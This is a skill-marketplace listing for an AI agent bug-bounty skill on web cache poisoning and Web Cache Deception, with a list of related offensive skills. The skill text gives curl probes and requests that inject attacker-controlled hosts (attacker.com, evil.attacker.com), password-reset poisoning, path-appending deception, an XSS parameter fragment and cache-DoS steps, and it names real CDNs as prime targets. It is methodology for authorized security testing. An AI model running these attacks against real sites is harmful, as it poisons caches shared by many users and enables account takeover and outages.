Mmcp.market

hunt-cache-poison skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Host/X-Forwarded-Host injection that reaches app logic (reset-link poisoning, routing SSRF, OAuth issuer) is owned by hunt-host-header; this skill owns the case where the poisoned response is CACHED and served to other users. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.

A100/100content scan

Is the hunt-cache-poison skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

No findings.

Install the hunt-cache-poison skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-cache-poison ~/.claude/skills/hunt-cache-poison
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Crown Jewel Targets

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

Highest-value targets:

  • CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
  • E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
  • Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
  • Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
  • Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
  • SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key

Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.

Autonomous Testing Priority

Two distinct attacks live under this skill — target the simpler one first.

Attack 1 — Password Reset Poisoning (Host header injection):

The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

email=victim@target.com
Content-Type: application/x-www-form-urlencoded

Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.

Try multiple host headers — apps vary in which one they trust (X-Forwarded-Host is most common, but Host itself also works when the proxy passes it through).

Attack 2 — Web Cache Poisoning:

Inject the attacker-controlled hostname into X-Forwarded-Host on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.

Check for cache signals in the response: X-Cache: HIT, CF-Cache-Status: HIT, Age: , or Via: cloudfront/varnish/fastly.

Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.

Attack Surface Signals

URL patterns to look for:

  • cdn., assets., static., updates., downloads. subdomains
  • URL path structures with extensions that look static: /path/to/page.css, /account.php/nonexistent.jpg
  • Affiliate/link shortener endpoints: /link/, /go/, /ref/, /out/
  • Paths that mix dynamic content with cacheable-looking URLs

Response headers that signal a cache:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/tech stack signals:

  • Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
  • Shopify/Linkpop stacks with third-party integrations
  • Platforms using path-based routing without normalizing trailing segments
  • Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)

Dangerous header candidates (unkeyed inputs):

X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override

Step-by-Step Hunting Methodology

  1. Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note Age, X-Cache, CF-Cache-Status headers.
  1. Identify cache key components. Send two identical requests — if Age increments, the response is cached. Vary headers one-by-one (e.g., add X-Forwarded-Host) to determine which headers are NOT included in the cache key (unkeyed).
  1. Test unkeyed header reflection. Add X-Forwarded-Host: evil.com and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Append a unique cache-busting query parameter (e.g. ?cb=) so the probe lands on a cache MISS under a throwaway key — this verifies reflection without prematurely storing a live poison entry under the real, victim-shared cache key. (Param Miner's "Guess headers" mode is the canonical Burp tool for discovering these unkeyed headers/parameters automatically.)
  1. Test URL path manipulation (Web Cache Deception). Append fake static extensions to dynamic endpoints:

Check if the server returns dynamic content AND the cache stores it.

  • GET /account/profile.css
  • GET /dashboard/settings.jpg
  • GET /affiliate-link/target.js
  1. Test for DoS via cache poisoning. Send a request with a header that causes a 4xx/5xx error and check if that error response gets cached:
  • Malformed Host header
  • X-Forwarded-Host pointing to an invalid host
  • Oversized headers that trigger backend errors
  1. Confirm unkeyed parameter poisoning. Try query parameter fatigue or HTTP parameter pollution:

Check if the param is reflected and cached for clean requests to /page.

  • GET /page?utm_source=">alert(1)
  1. Validate cache storage. After sending a potentially poisoned request, immediately request the same URL WITHOUT the malicious header from a different IP or incognito session. If you receive the poisoned response — it's confirmed.
  1. Measure cache TTL. Check Cache-Control: max-age and Age to understand how long the poison persists and whether it's exploitable before expiry.
  1. Check affiliate/link flows specifically. For platforms like Linkpop, test whether the referrer/product URL is embedded in a cacheable response that another user will receive.
  1. Document blast radius. Determine: global CDN edge (worldwide), regional cache, or single-server cache. This directly affects severity rating.

Payload & Detection Patterns

Confirm caching behavior:

# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

Test unkeyed X-Forwarded-Host:

curl -s -H "X-Forwarded-Host: evil.attacker.com" \
  "https://target.com/page" | grep -i "evil.attacker.com"

Test Web Cache Deception (path appending):

# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
  "https://target.com/account/profile.css"

# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"

Force cache miss to test poison without hitting cached version:

# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
     "https://target.com/page?cb=$RANDOM"

DoS via poisoned error response:

curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
  "https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"

Grep patterns in Burp/ZAP response history:

# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]

# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.

# Web cache deception indicators
Content-Type: text/css  (but response is HTML/JSON)
Cache-Control: public.*max-age  (on authenticated endpoint)

Parameter pollution test:

curl -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"

Burp Suite Intruder wordlist for unkeyed headers:

X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP

Origin header → ACAO cache poisoning

Add Origin to the unkeyed-header set. Test whether it is reflected into Access-Control-Allow-Origin and then cached: curl -H "Origin: evil.example" URL -I on two consecutive hits. A cached attacker/* ACAO breaks CORS for legit users (cache-DoS); a cached permissive ACAO enables cross-user data reads. Disclosed: reports/591302.

More skills from elementalsouls/Claude-BugHunter

  • Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
  • Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
  • Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
  • Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
  • Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
  • Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
  • Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
  • Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
  • Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
  • Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
  • Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
  • Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.

All agent skills → · MCP servers